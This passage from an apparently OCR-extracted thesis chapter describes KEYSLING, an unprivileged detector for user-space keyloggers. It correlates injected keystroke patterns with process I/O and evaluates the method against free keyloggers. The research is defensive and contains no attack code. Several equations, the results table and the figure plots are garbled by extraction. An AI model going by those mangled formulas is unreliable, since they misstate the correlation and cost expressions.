designing a malware to explicitly elude taint analysis is a practical task.

As discussed, the main problem of techniques relying on Information Flow
Tracking is the taint explosion. This can be avoided if source code is available.
Tracking the taint can in fact use all the wealth of information that is usually
lost during compilation. If TyYPE I and TYPE II keyloggers usually come
as compiled code, TYPE III keyloggers, in turn, often come as interpreted
scripts written in languages such as JavaScript. In this case, source code can
be easily retrieved, and can be used to perform more precise taint tracking.
This is the approach presented in [21; 91], where the authors propose to
instrument the whole JavaScript Engine. They are successful in detecting
privacy-breaching extensions, TYPE III keyloggers in particular. All these
solutions, however, besides incurring high overheads, can not be disabled
unless the user replaces the instrumented binary with its original version. For
the very same reason, given the complexity of modern JS engines, porting and
maintaining them to multiple versions or implementations is both not trivial
and requires access to the source code. Also, based on the application, a
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different language-interpreter may need to be instrumented, increasing even
more the engineering effort for a proper porting. Besides being feasible only
for applications which source-code is freely available, only the vendor’s core
teams have all the knowledge required for the job. The deployment scenarios
of such solutions are therefore heavily affected.



Unprivileged Detection of Keyloggers

3.1 Introduction

In this Chapter we propose KEYSLING, our first approach to detect user-
space keyloggers. The entire technique is implemented as an unprivileged
process. It is, then, portable, non-intrusive, and easy to install. In addi-
tion, the proposed technique is completely black-box, i.e., it is based on a
behavioral characterization common to all keyloggers and not dependent on
their internal structure. As we will show in the evaluation, our approach has
proven effective in detecting the most common free keyloggers [81], and also
robust enough to deal with standard evasion strategies. Although we reckon,
as discussed in Section 3.5, that more elaborated attacks to our technique’s
assumptions are bound to require more powerful system characterizations,
the efficacy and the limited requirements of our technique make our solution
an ideal candidate for the user’s first line of defense.

3.2 Our Approach

Our approach is explicitly focused on designing a detection technique for
TyYPE I and TYPE II user-space keyloggers. Unlike TYPE III keyloggers, they
are both background processes which register operating-system- supported
hooks to surreptitiously eavesdrop (and log) every keystroke issued by the
user into the current foreground application. Our goal is to prevent user-space
keyloggers from stealing confidential data originally intended for a (trusted)
legitimate foreground application. Note that malicious foreground applica-
tions surreptitiously logging user-issued keystrokes (e.g., a keylogger spoofing
a trusted word processor application) and application-specific keyloggers (e.g.,
browser plugins surreptitiously performing keylogging activities) are all ex-
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Figure 3.1: The intuition leveraged by our approach in a nutshell.

amples of TYPE III keyloggers, which are extensively discussed in Chapter 6.

Our model explores the possibility of isolating the keylogger in a controlled
environment, where its behavior is directly exposed to the detection system.
Our technique involves controlling the keystroke events that the keylogger re-
ceives in input, and constantly monitoring the I/O activity generated by the
keylogger in output. To assert detection, we leverage the intuition that the
relationship between the input and output of the controlled environment can
be modeled for most keyloggers with very good approximation. Regardless of
the transformations the keylogger performs, a characteristic pattern observed
in the keystroke events in input shall somehow be reproduced in the I/O activ-
ity in output (as suggested by Figure 3.1) When the input and the output are
controlled, we can identify common I/O patterns and flag detection. More-
over, preselecting the input pattern can better avoid spurious detections and
evasion attempts. To detect background keylogging behavior our technique
comprises a preprocessing step to force the focus to the background. This
strategy is also necessary to avoid flagging foreground applications that legit-
imately react to user-issued keystrokes (e.g., word processors) as keyloggers.

Our approach is explicitly focused on designing a detection technique for
user-space keyloggers, a very peculiar class of malicious programs. Unlike
other classes, a keylogger has a very well defined behavior that is easy to
model. In its simplest form, a keylogger eavesdrops each keystroke typed by
the user and logs the content to a file. In this scenario, the events triggering
the malicious activity are always known in advance and, to some extent, could
be reproduced and controlled.

The key advantage of our approach is that it is centered around a black-box
model that completely ignores the keylogger internals. Also, I/O monitoring
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is a non-intrusive procedure and can be performed on multiple processes si-
multaneously. As a result, our technique can deal with a large number of key-
loggers transparently and enables a fully-unprivileged detection system able
to vet all the processes running on a particular system in a single run. Our ap-
proach completely ignores the content of the input and the output data, and
focuses exclusively on their distribution. Limiting the approach to a quanti-
tative analysis enables the ability to implement the detection technique with
only unprivileged mechanisms, as we will better illustrate later. The under-
lying model adopted, however, presents additional challenges. First, we must
carefully deal with possible data transformations that may introduce quan-
titative differences between the input and the output patterns. Second, the
technique should be robust with respect to quantitative similarities identified
in the output patterns of other legitimate system processes. In the following,
we discuss how our approach deals with these challenges.

3.3 Architecture

Our design is based on five different components as depicted in Figure 3.2:
injector, monitor, pattern translator, detector, pattern generator. The oper-
ating system at the bottom deals with the details of I/O and event handling.
The OS Domain does not expose all the details to the upper levels without
using privileged API calls. As a result, the injector and the monitor operate
at another level of abstraction, the Stream Domain. At this level, keystroke
events and the bytes output by a process appear as a stream emitted at a
particular rate.

The task of the injector is to inject a keystroke stream to simulate the
behavior of a user typing at the keyboard. Similarly, the monitor records
a stream of bytes to constantly capture the output behavior of a particular
process. A stream representation is only concerned with the distribution of
keystrokes or bytes emitted over a given window of observation, without en-
tailing any additional qualitative information. The injector receives the input
stream from the pattern translator, which acts as bridge between the Stream
Domain and the Pattern Domain. Similarly, the monitor delivers the output
stream recorded to the pattern translator for further analysis. In the Pattern
Domain, the input stream and the output stream are both represented in a
more abstract form, termed Abstract Keystroke Pattern (AKP). A pattern
in the AKP form is a discretized and normalized representation of a stream.
Adopting a compact and uniform representation is advantageous for several
reasons. First, this allows the pattern generator to exclusively focus on gen-
erating an input pattern that follows a desired distribution of values. Details
on how to inject a particular distribution of keystrokes into the system are
offloaded to the pattern translator and the injector. Second, the same in-
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Figure 3.2: The different components of our architecture.

put pattern can be reused to produce and inject several input streams with
different properties but following the same underlying distribution. Finally,
the ability to reason over abstract representations simplifies the role of the
detector that only receives an input pattern and an output pattern and makes
the final decision on whether detection should or should not be triggered.

3.3.1 Injector

The role of the injector is to inject the input stream into the system, mimicking
the behavior of a simulated user at the keyboard. By design, the injector must
satisfy several requirements. First, it should only rely on unprivileged API
calls. Second, it should be capable of injecting keystrokes at variable rates
to match the distribution of the input stream. Finally, the resulting series
of keystroke events produced should be no different than those generated by
a user at the keyboard. In other words, no user-space keylogger should be
somehow able to distinguish the two types of events. To address all these
issues, we leverage the same technique employed in automated testing. On
Windows-based operating systems this functionality is provided by the API
call keybd_event. In all Unix-like OSes supporting X11 the same functionality
is available via the API call XTestFakeKeyEvent, part of the XTEST extension
library.
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3.3.2 Monitor

The monitor is responsible for recording the output stream of all the run-
ning processes. As done for the injector, we allow only unprivileged API
calls. In addition, we favor strategies to perform realtime monitoring with
minimal overhead and the best level of resolution possible. Finally, we are in-
terested in application-level statistics of I/O activities, to avoid dealing with
filesystem-level caching or other potential nuisances. Fortunately, most mod-
ern operating systems provide unprivileged APT calls to access performance
counters on a per-process basis. On all the versions of Windows since Win-
dows NT 4.0, this functionality is provided by the Windows Management In-
strumentation (WMI). In particular, the performance counters of each process
are made available via the class Win32_Process, which supports an efficient
query-based interface. The counter WriteTransferCount contains the total
number of bytes written by the process since its creation. Note that monitor-
ing the network activity is also possible, although it requires a more recent
version of Windows, i.e., at least Vista. To construct the output stream of a
given process, the monitor queries this piece of information at regular time
intervals, and records the number of bytes written since the last query every
time. The proposed technique is obviously tailored to Windows-based operat-
ing systems. Nonetheless, we point out that similar strategies can be realized
in other OSes; both Linux and OSX, in fact, support analogous performance
counters which can be accessed in an unprivileged manner; the reader may
refer to the iotop utility for usage examples.

3.3.3 Pattern Translator

The role of the pattern translator is to transform an AKP into a stream
and vice-versa, given a set of target configuration parameters. A pattern in
the AKP form can be modeled as a sequence of samples originated from a
stream sampled with a uniform time interval. A sample P; of a pattern P
is an abstract representation of the number of keystrokes emitted during the
time interval 7. Each sample is stored in a normalized form rescaled in the
interval [0, 1], where 0 and 1 reflect the predefined minimum and maximum
number of keystrokes in a given time interval, respectively. To transform an
input pattern into a keystroke stream, the pattern translator considers the
following configuration parameters: N, the number of samples in the pattern;
T, the constant time interval between any two successive samples; Ky, the
minimum number of keystrokes per sample allowed; and K 4., the maximum
number of keystrokes per sample allowed. When transforming an input pat-
tern in the AKP form into an input stream, the pattern translator generates,
for each time interval ¢, a keystroke stream with an average keystroke rate
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The iteration is repeated N times to cover all the samples in the original
pattern. A similar strategy is adopted when transforming an output byte
stream into a pattern in the AKP form. The pattern translator reuses the
same parameters employed in the generation phase and similarly assigns

_RZT_szn

P, = , 3.2
’ Kmaz - Kmin ( )

where R; is the average keystroke rate measured in the time interval i.
The translator assumes a correspondence between keystrokes and bytes and
treats them equally as base units of the input and output stream, respec-
tively. This assumption does not always hold in practice and the detection
algorithm has to consider any possible scale transformation between the input
and the output pattern. We discuss this and other potential transformations
in Section 3.3.4.

3.3.4 Detector

The success of our detection algorithm lies in the ability to infer a cause-
effect relationship between the keystroke stream injected in the system and
the I/O behavior of a keylogger process, or, more specifically, between the
respective patterns in AKP form. While one must examine every candidate
process in the system, the detection algorithm operates on a single process
at a time, identifying whether there is a strong similarity between the input
pattern and the output pattern obtained from the analysis of the I/O behavior
of the target process. Specifically, given a predefined input pattern and an
output pattern of a particular process, the goal of the detection algorithm is
to determine whether there is a match in the patterns and the target process
can be identified as a keylogger with good probability.

The first step in the construction of a detection algorithm comes down to
the adoption of a suitable metric to measure the similarity between two given
patterns. In principle, the AKP representation allows for several possible
measures of dependence that compare two discrete sequences and quantify
their relationship. In practice, we rely on a single correlation measure moti-
vated by the properties of the two patterns. The proposed detection algorithm
is based on the Pearson product-moment correlation coefficient (PCC), the
first formally defined correlation measure and still one of the most widely
used [77]. Given two discrete sequences described by two patterns P and Q
with N samples, the PCC is defined as [77]:
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PCC (P, Q) _ cov (PvQ) . Zf\il (Pl B P) (QZ — Q) ) (33)

7SN (P - PN, (@ - Q)

where cov(P, @) is the sample covariance, op and og are sample stan-
dard deviations, and P and @ are sample means. The PCC has been widely
used as an index to measure bivariate association for different distributions in
several applications including pattern recognition, data analysis, and signal
processing [8]. The values given by the PCC are always symmetric and rang-
ing between —1 and 1, with 0 indicating no correlation and 1 or —1 indicating
complete direct (or inverse) correlation. To measure the degree of association
between two given patterns we are here only interested in positive values of
correlation. Hereafter, we will always refer to its absolute value. Our interest
in the PCC lies in its appealing mathematical properties. In contrast to many
other correlation metrics, the PCC measures the strength of a linear relation-
ship between two series of samples, ignoring any non-linear association. In
the context of our detection algorithm, a linear dependence well approximates
the relationship between the input pattern and an output pattern produced
by a keylogger. The basic intuition is that a keylogger can only make local
decisions on a per-keystroke basis with no knowledge about the global distri-
bution. Thus, in principle, whatever the decisions, the resulting behavior will
linearly approximate the original input stream injected into the system.

In detail, the PCC is resilient to any change in location and scale, namely
no difference can be observed in the correlation coefficient if every sample P; of
any of the two patterns is transformed into a-P;+b, where a and b are arbitrary
constants. This is important for a number of reasons. Ideally, the input
pattern and an output pattern will be an exact copy of each other if every
keystroke injected is replicated as it is in the output of a keylogger process.
In practice, different data transformations performed by the keylogger can
alter the original structure in several ways. First, a keylogger may encode
each keystroke in a sequence of one or more bytes. Consider, for example,
a keylogger encoding each keystroke using 8-bit ASCII codes. The output
pattern will be generated examining a stream of raw bytes produced by the
keylogger as it stores keystrokes one byte at a time. Now consider the exact
same case but with keystrokes stored using a different encoding, e.g., 2 bytes
per keystroke. In the latter case, the pattern will have the same shape as
the former one, but its scale will be twice as much. Fortunately, as explained
earlier, the transformation in scale will not affect the correlation coefficient
and the PCC will report the same value in both cases. Similar arguments are
valid for keyloggers using a variable-length representation to store keystrokes
or encrypting keystrokes with a variable number of bytes.

The scale invariance property also makes the approach robust to keylog-
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gers that drop a limited number of keystrokes while logging. For example,
many keyloggers refuse to record keystrokes that do not directly translate into
alphanumeric characters. In this case, under the assumption that keystrokes
in the input stream are uniformly distributed by type, the resulting output
pattern will only contain each generated keystroke with a certain probability
p. This can be again approximated as rescaling the original pattern by p,
with no significant effect on the original value of the PCC.

An interesting application of the location invariance property is the ability
to mitigate the effect of buffering. When the keylogger uses a fixed-size buffer
whose size is comparable to the number of keystrokes injected at each time
interval, it is easy to show that the PCC is not significantly affected. Con-
sider, for example, the case when the buffer size is smaller than the minimum
number of keystrokes K,,;,. Under this assumption, the buffer is completely
flushed out at least once per time interval. The number of keystrokes left in
the buffer at each time interval determines the number of keystrokes missing
in the output pattern. Depending on the distribution of samples in the input
pattern, this number would be centered around a particular value z. The sta-
tistical meaning of the value z is the average number of keystrokes dropped
per time interval. This transformation can be again approximated by a loca-
tion transformation of the original pattern by a factor of —z, which again does
not affect the value of the PCC. The last example shows the importance of
choosing an appropriate K,,;, when the effect of fixed-size buffers must also
be taken into account. As evident from the examples discussed, the PCC is
robust when not completely resilient to several possible data transformations.

Nevertheless, there are other known fundamental factors that may affect
the size of the PCC and could possibly complicate the interpretation of the
results. A taxonomy of these factors is proposed and thoroughly discussed
in [30]. We will briefly discuss some of these factors here to analyze how they
affect our design. This is crucial to avoid common pitfalls and unexpectedly
low correlation values that underestimate the true relationship between two
patterns possibly generating false negatives. A first important factor to con-
sider is the possible lack of linearity. Although the several cases presented
only involve linear or pseudo-linear transformations, non-linearity might still
affect our detection system in the extreme case of a keylogger performing
aggressive buffering. A representative example in this category is a keylog-
ger flushing out to disk an indefinite-size buffer at regular time intervals.
While we rarely saw this, we have also adopted standard strategies to deal
with this scenario effectively. In our design, we exploit the observation that
the non-linear behavior is known in advance and can be modeled with good
approximation.

Following the solution suggested in [30], we transform both patterns to
eliminate the source of non-linearity before computing the PCC. To this end,
assuming a sufficiently large number of samples N is available, we examine
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peaks in the output pattern and eliminate non-informative samples when
we expect to see the effect of buffering in action. At the same time, we
aggregate the corresponding samples in the input pattern accordingly and
gain back the ability to perform a significative linear analysis using the PCC
over the two normalized patterns. The advantage of this approach is that it
makes the resulting value of the PCC practically resilient to buffering. The
only potential shortcoming is that we may have to use larger windows of
observation to collect a sufficient number of samples N for our analysis.
Another fundamental factor to consider is the number of samples collected.
While we would like to shorten the duration of the detection algorithm as
much as possible, there is a clear tension between the length of the patterns
examined and the reliability of the resulting value of the PCC. A very small
number of samples can lead to unstable or inaccurate results. A larger num-
ber of samples is beneficial especially whenever one or more other disturbing
factors are to be expected. As reported in [30], selecting a larger number of
samples could, for example, reduce the adverse effect of outliers or measure-
ment errors. The detection algorithm we have implemented in our detector,
relies entirely on the PCC to estimate the correlation between an input and an
output pattern. To determine whether a given PCC value should trigger a de-
tection, a thresholding mechanism is used. We discuss how to select a suitable
threshold empirically in Section 3.4. Our detection algorithm is conceived to
infer a causal relationship between two patterns by analyzing their correlation.
Admittedly, experience shows that correlation cannot be used to imply cau-
sation in the general case, unless valid assumptions are made on the context
under investigation [2]. In other words, to avoid false positives in our detec-
tion strategy, strong evidence shall be collected to infer with good probability
that a given process is a keylogger. The next section discusses in detail how to
select a robust input pattern and minimize the probability of false detections.

3.3.5 Pattern Generator

Our pattern generator is designed to support several possible pattern gener-
ation algorithms. More specifically, the pattern generator can leverage any
algorithm producing a valid input pattern in AKP form. In this section, we
present a number of pattern generation algorithms and discuss their proper-
ties. The first important issue to consider is the effect of variability in the
input pattern. Experience shows that correlations tend to be stronger when
samples are distributed over a wider range of values [30]. In other words,
the more the variability in the given distributions, the more stable and accu-
rate the resulting PCC computed. This suggests that a robust input pattern
should contain samples spanning the entire target interval [0,1]. The level
of variability in the resulting input stream is also similarly influenced by the
range of keystroke rates used in the pattern translation process. The higher
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the range delimited by the minimum keystroke rate and maximum keystroke
rate, the more reliable the results.

The adverse effect of low variability in the input pattern can be best un-
derstood when analyzing the mathematical properties of the PCC. The cor-
relation coefficient reports high values of correlation when the two patterns
tend to grow apart from their respective means on the same side with propor-
tional intensity. As a consequence, the more closely to their respective means
the patterns are distributed, the less stable and accurate the resulting PCC.
In the extreme case of no variability, that is when a constant distribution
is considered, the standard deviation is 0 and the PCC is not even defined.
This suggests that a robust pattern generation algorithm should never con-
sider constant or low-variability patterns. Moreover, when a constant pattern
is generated from the output stream, our detection algorithm assigns an ar-
bitrary correlation score of 0. This is still coherent under the assumption
that the selected input pattern presents a reasonable level of variability, and
poor correlation should naturally be expected when comparing with other
low-variability patterns.

A robust pattern generation algorithm should allow for a minimum number
of false positives and false negatives at detection time. As far as false nega-
tives are concerned, we have already discussed some of the factors that affect
the PCC and may increase the number of false detections in Section 3.3.4.
About false positives, when the chosen input pattern happens to closely re-
semble the I/O behavior of some benign process in the system, the PCC may
report a high value of correlation for that process and trigger a false detec-
tion. For this reason, it is important to focus on input patterns that have
little chances of being confused with output patterns generated by legitimate
processes. Fortunately, studies show that the correlation between different
realistic I/O workloads for PC users is generally considerably low over small
time intervals [37]. The results presented in [37] are derived from 14 traces
collected over a number of months in realistic environments used by different
categories of users. The authors show that the value of correlation given by
the PCC over 1 minute of I/O activity is only 0.046 on average and never
exceeds 0.070 for any two given traces. These results suggest that the I/0O
behavior of one or more given processes is in general very poorly correlated
with other different I/O distributions.

Another property of interest concerning the characteristics of common I/0
workloads is self-similarity. Experience shows that the 1/0 traffic is typically
self-similar, namely that its distribution and variability are relatively insen-
sitive to the size of the sampling interval [37]. For our analysis, this suggests
that variations in the time interval T" will not heavily affect the sample dis-
tribution in the output pattern and thereby the values of the resulting PCC.
This scale-invariant property is crucial to allow for changes in the parameter
T with no considerable variations in the number of potential false positives
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generated at detection time. While most pattern generation algorithms with
the properties discussed so far should produce a relatively small number of
false positives in common usage scenarios, we are also interested in investi-
gating pattern generation algorithms that attempt to minimize the number
of false positives for a given target workload.

The problem of designing a pattern generation algorithm that minimizes
the number of false positives under a given known workload can be modeled
as follows. We assume that traces for the target workload can be collected
and converted into a series of patterns (one for each process running on the
system) of the same length N. All the patterns are generated to build a valid
training set for the algorithm. Under the assumption that the traces collected
are representative of the real workload available at detection time, our goal is
to design an algorithm that learns the characteristics of the training data and
generates a maximally uncorrelated input pattern. Concretely, the goal of our
algorithm is to produce an input pattern of length N that minimizes the PCC
measured against all the patterns in the training set. Without any further
constraints on the samples of the target input pattern, it can be shown that
this problem is a non-trivial non-linear optimization problem. In practice,
we can relax the original problem by leveraging some of the assumptions
discussed earlier. As motivated before, a robust input pattern should present
samples distributed over a wide range of values. To assume the widest range
possible, we can arbitrarily constrain the series of samples to be uniformly
distributed over the target interval [0, 1]. This is equivalent to consider a set
of N samples of the form:

1 2 N-2
S—{O,N_l,N_l,...,N_l,l}. (3.4)

When the N samples are constrained to assume all the values from the
set S, the optimization problem comes down to finding the particular per-
mutation of values that minimizes the PCC considering all the patterns in
the training set. This problem is a variant of the standard assignment prob-
lem, where each particular pairwise assignment yields a known cost and the
ultimate goal is to minimize the sum of all the costs involved [49]. In our
scenario, the objects are the samples in the target set S, and the tasks reflect
the N slots available in the input pattern. In addition, the cost of assigning
a sample S; from the set S to a particular slot j is:

(i)=Y (8 = 5) (7 = ") : (3.5)
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where P! are the patterns in the training set, and S and og are the
constant mean and standard distribution of the samples in S, respectively.
The cost value ¢(4, j) reflects the value of a single addendum in the expression
of the overall PCC we want to minimize. Note that the cost value is calculated
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against all the patterns in the training set. The formulation of the cost value
has been simplified assuming constant number of samples N and constant
number of patterns in the training set.

Unfortunately, this problem cannot be addressed by leveraging well-known
algorithms that solve the assignment problem in polynomial time [49]. In
contrast to the standard formulation, we are not interested in the global
minimum of the sum of the cost values. Such an approach would attempt
to find a pattern with a PCC maximally close to —1. In contrast, our goal
is to produce a maximally uncorrelated pattern, thereby aiming at a PCC
as close to 0 as possible. This problem can be modeled as an assignment
problem with side constraints. Prior research has shown how to transform this
particular problem into an equivalent quadratic assignment problem (QAP)
that can be very efficiently solved with a standard QAP solver when the global
minimum is known in advance [46]. In our solution, we have implemented a
similar approach limiting the approach to a maximum number of iterations
to guarantee convergence since the minimum value of the PCC is not known
in advance. In practice, for a reasonable number of samples N and a modest
training set, we found that this is rarely a concern. The algorithm can usually
identify the optimal pattern in a bearable amount of time.

To conclude, we now more formally propose two classes of pattern genera-
tion algorithms for our generator. First, we are interested in workload-aware
generation algorithms. For this class, we focus on the optimization algorithm
we have just introduced—we refer to this pattern generation algorithm with
the term WLD—, assuming a number of representative traces have been made
available for the target workload. Moreover, we are interested in workload-
agnostic pattern generation algorithms. With no assumption made on the
nature of the workload, they are more generic and easier to implement. In
this class, we propose the following algorithms:

e Random (RND). Every sample is generated at random with no addi-
tional constraints. This is the simplest pattern generation algorithm.

o« Random with fixed range (RFR). The pattern is a random permu-
tation of a series of samples uniformly distributed over the interval [0, 1].
This algorithm attempts to maximize the amount of variability in the
input pattern.

o Impulse (IMP). Every sample 2i is assigned the value of 0 and every
sample 2¢ + 1 is assigned the value of 1. This algorithm attempts to
produce an input pattern with maximum variance while minimizing the
duration of idle periods.

o Sine Wave (SIN). The pattern generated is a discrete sine wave distri-
bution oscillating between 0 and 1. The sine wave grows or drops with a
fixed step of 0.1. This algorithm explores the effect of constant increments
and decrements in the input pattern.



3.4. EVALUATION 33

3.4 Evaluation

To demonstrate the viability of our approach and evaluate the proposed de-
tection technique, we implemented a prototype based on the ideas described
in this chapter. Our prototype is entirely written in C# in 7000 LoC and runs
as an unprivileged application for the Windows OS. It also collects simulta-
neously all the processes’ I/O patterns, thus allowing us to analyze the whole
system in a single run. Although the proposed design can easily be extended
to other OSes, we explicitly focus on Windows for the significant number
of keyloggers available. In the following, we present several experiments to
evaluate our approach. The ultimate goal is to understand the effectiveness
of our technique and its applicability to realistic settings. For this purpose,
we evaluated our prototype against many publicly available keyloggers. We
also developed our own keylogger to evaluate the effect of special features or
particular conditions more thoroughly. Finally, we collected traces for dif-
ferent realistic PC workloads to evaluate the effectiveness of our approach in
real-life scenarios. We ran all of our experiments on PCs with a 2.53Ghz Core
2 Duo processor, 4GB memory, and 7200 rpm SATA II hard drives. Every
test was performed under Windows 7 Professional SP1, while the workload
traces were gathered from a number of PCs running several different versions
of Windows.

3.4.1 Performance

Since the performance counters are part of the default accounting infrastruc-
ture, monitoring the processes’ 1/O came at negligible cost: for reasonable
values of T, i.e., > 100ms, the load imposed on the CPU by the monitoring
phase was less than 2%. On the other hand, injecting high keystroke rates
introduced additional processing overhead throughout the system.

Experimental results, as depicted in Figure 3.3, show that the overhead
grows approximately linearly with the number of keystrokes injected per sam-
ple. In particular, the CPU load imposed by our prototype reaches 25%
around 15000 keystrokes per sample and 75% around 47000. Note that these
values only refer to detection-time overhead. No run-time overhead is imposed
by our technique when no detection is in progress.

3.4.2 Keylogger detection

To evaluate the ability to detect real-world keyloggers, we experimented with
all the keyloggers from the top monitoring free software list [81], an online
repository continuously updated with reviews and latest developments in the
area. To carry out the experiments, we manually installed each keylogger,
launched our detection system for N - T ms, and recorded the results; we
asserted successful detection for PCC > 0.7. In the experiments, we found
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Figure 3.3: Impact of the monitor and the injector on the CPU load.

that arbitrary choices of N, T, Kin, and K,,., were possible; the reason
is that we observed the same results for several reasonable combinations of
the parameters. Following the findings we later discuss, we also selected
the RFR algorithm as the pattern generation algorithm for the experiments.
More details on how to tune the parameters in the general case are given in
Section 3.4.3 and Section 3.4.4.

Keylogger Detection Notes

Refog Keylogger Free 5.4.1 v focus-based buffering
Best Free Keylogger 1.1 v -

Iwantsoft Free Keylogger 3.0 v -

Actual Keylogger 2.3 v focus-based buffering
Revealer Keylogger Free 1.4 v focus-based buffering
Virtuoza Free Keylogger 2.0 v time-based buffering
Quick Keylogger 3.0.031 v -

Tesline KidLogger 1.4 v -

Table 3.1: Detection results.

Table 3.1 shows the keyloggers used in the evaluation and summarizes
the detection results. All the keyloggers were detected within a few seconds
without generating any false positives; in particular, no legitimate process
scored PCC values > 0.3. Virtuoza Free Keylogger required a longer window
of observation to be detected; this sample was indeed the only keylogger to
store keystrokes in memory and flush out to disk at regular time intervals.
Nevertheless, we were still able to collect consistent samples from flush events
and report high PCC values.

In a few other cases, keystrokes were kept in memory but flushed out to
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disk as soon as the keylogger detected a change of focus. This was the case for
Actual Keylogger, Revealer Keylogger Free, and Refog Keylogger Free. To deal
with this common strategy, our detection system enforces a change of focus
every time a sample is injected into the system. Another common strategy
was flushing the buffer at either system termination or restart. This was the
case for Quick Free Keylogger; although we further discuss this type of evasive
behaviors in Section 3.5.1, we deal with this strategy by repeatedly signaling
a restart command to those processes flagged to survive a system restart,
i.e., flagged to start automatically; normal user applications, such as word
processors or mail clients, are hence left unaffected. In addition, some of the
keyloggers examined included support for encryption and most of them used
variable-length encoding to store special keys. As Section 3.4.3 demonstrates,
our detection algorithm can deal with these nuisances transparently with no
effect on the resulting PCC measured.

Another potential issue arises from keyloggers dumping a fixed-format
header on the disk every time a change of focus is detected. The header typi-
cally contains the date and the name of the target application. Nonetheless, as
we designed our detection system to change focus at every sample, the header
is flushed out to disk at each time interval along with all the keystrokes in-
jected. As a result, the output pattern monitored is simply a location transfor-
mation of the original, with the shift given by size of the header itself. Thanks
to the location invariance property, our detection algorithm is naturally re-
silient to this transformation, regardless of the particular header size used.

3.4.3 False negatives

In our approach, false negatives may occur when the output pattern of a
keylogger scores an unexpectedly low PCC value. To test the robustness of
our approach against false negatives, we made several experiments with our
own artificial keylogger. Without additional configuration given, the basic
version of our keylogger merely logs each keystroke on a text file on the disk.

Our evaluation starts by analyzing the impact of the number of samples N
and the time interval T on the final PCC value. For each pattern generation
algorithm, we plot the PCC measured with our prototype keylogger which
we configured so that no buffering or data transformation was taking place.
Figure 3.4a and 3.4b depict our findings with K,,;, = 1 and K4, = 1000. We
observe that when the keylogger logs each keystroke without introducing delay
or additional noise, the number of samples N does not affect the PCC value.
This behavior should not suggest that N has no effect on the production of
false negatives. When noise in the output stream is to be expected, higher
values of NV are indeed desirable to produce more stable PCC values and avoid
potential false negatives. Obviously, we did not encounter this issue with the
basic version of our prototype keylogger.




36 CHAPTER 3. UNPRIVILEGED DETECTION OF KEYLOGGERS

T T T T T T T T T T T T T T T T T T T
1= < e > OO > ks —i—a— 8-
0.9 |- : i
08 4
o 0.7 |~ o
o 0ol BNEY
& O
0.4 - Random —&— | |
0.3 |- Random Fixed Range H
0.2 - Impulse ---a--- 1
0.1 |- 0 : : . : Sinusoid H
0 1 1 1 1 1 1 1 1 1 1 1 1 1 T T T T T
3 6 9 12 15 18 21 24 27 30 33 36 39 42 45 48 51 54 57 60
N (T=1000)
T T T T T T T T
1K L O SO O S O
09 o bt 4
08 | B o
0.7 ¢ ' A : Lo
&) & oot SENR AN A i
o os (b)
0.4 r\ o Random —&— | |
03 a i [ [ Random Fixed Range H
0.2 g 27 N ; peend . Impulse ---4--- 14
0.1 O Sinusoid H
0 1 1 1 1 1 1 1 1 1 1 1 1 T T T T T T
1 50 100 150 200 250 300 350 400 450 500 550 600 650 700 750 800 850 900 950 1000
T (N=30)
T T T T T T T T T T T T T T
B O o B A S A e e T S G S N
09 - : : : : : 1 i
0.8 4
O 0.7 |~ o
o ofr | (©
o Y "
04 |- Random —&— &
0.3 [ Random Fixed Range H
0.2 - Impulse ---a--- (4
0.1 . : Sinusoid H
0 Il Il Il Il Il Il Il Il Il Il T T T T

64 128 192 256 320 384 448 512 576 640 704 768 832 896 960
Kmin (N=30, T=1000)

Figure 3.4: Impact of N, T, and K, on the PCC.

In contrast, Figure 3.4b shows that the PCC is sensitive to low values of
the time interval T'. The effect observed is due to the inability of the system
to absorb all the injected keystrokes for time intervals shorter than 450ms.
Figure 3.4c, in turn, shows the impact of K,,;, on the PCC (with K4, still
constant). The results confirm our observations in Section 3.3.4, i.e., that
patterns characterized by a low variance hinder the PCC, and thus a high
variability in the injection pattern is desirable.

We now analyze the impact of the maximum number of keystrokes per
time interval K,,,,. High K., values are expected to increase the level of
variability, reduce the amount of noise, and induce a more distinct distribu-
tion in the output stream of the keylogger. The keystroke rate, however, is
clearly bound by the length of the time interval T'. Figure 3.5b depicts the
PCC measured with our prototype keylogger for N = 30, K,,;, = 1, and
RN D pattern generation algorithm. The figure reports very high PCC val-
ues for Kqp < 20480 and T = 1000ms. This behavior reflects the inability
of the system to absorb more than K., ~ 20480 in the given time interval.
Increasing T' is, however, sufficient to allow higher K,,,, values without sig-
nificantly impacting the PCC. For example, with T' = 3500ms we can double
K e without sensibly degrading the final PCC value.

In a more advanced version of our keylogger, we also simulated the effect of
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Figure 3.5: Impact of different factors on the PCC.

several possible input-output transformations. First, we experimented with a
keylogger using a nontrivial fixed-length encoding for keystrokes. Figure 3.6a
depicts the results for different values of padding p with N = 30, K,n =
1, and Kqe = 1024. A value of p = 1024 simulates a keylogger writing
1024 bytes on the disk for each eavesdropped keystroke. As discussed in
Section 3.3.4, the PCC should be unaffected in this case and presumably
exhibit a constant behavior. The figure confirms this intuition, but shows the
PCC decreasing linearly after p ~ 10000 bytes. This behavior is due to the
limited I/O throughput that can be achieved within a single time interval.
We previously encountered similar problems when choosing suitable values
for K,q.- Note that in this scenario both K,,;, and K., are affected by
the padding introduced, thus yielding a more significant impact on the PCC.

Let us now consider the case of a keylogger logging an additional random
number of characters r € [0; 7y,q4.] each time a keystroke is eavesdropped. This
evaluates the impact of several conditions. First, the experiment simulates a
keylogger randomly dropping keystrokes with a certain probability. Second, it
simulates a keylogger encoding a number of keystrokes with special sequences,
e.g. CTRL logged as [Ctrl]. Finally, this is useful to investigate the impact
of a keylogger performing variable-length encryption or other variable-length
transformations such as data compression. In the latter scenario, different
keystroke scancodes may be encoded with strings of different length. This
source of non-linearity has potential to break the correlation and thus hinder
detection. However, since we control the injection pattern, we can make
each keystroke scancode equiprobable, thus forcing any content-dependent
transformation to encode each keystroke with a data string of comparable size.
The result is that each of these transformations can be always approximated
by a linear transformation with constant scaling.

To generate r we considered different probability distributions: uniform,
poisson, gaussian, and exponential. For each distribution we repeated the
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Figure 3.6: Impact of different classes of noise on the PCC.

experiment increasing the value of a characteristic parameter (reported on
the z-axis). Results are depicted in Figure 3.6b. As observed in Figure 3.6a,
the PCC only drops at saturation, i.e., when the average number of keystrokes
written to the disk is around 10000 bytes. The figure also shows that choosing
either a uniform or gaussian distribution results in more stable PCC values.
These distributions, unlike the poisson and exponential, do not preclude low-
valued samples, and are thus less likely to saturate the system in a particular
configuration. Again, as Figure 3.5b suggested, obtaining more stable values
for the PCC is still possible if we increase the time interval T'. If the number
of samples N is however kept constant, the user shall expect a proportionally
longer detection time.

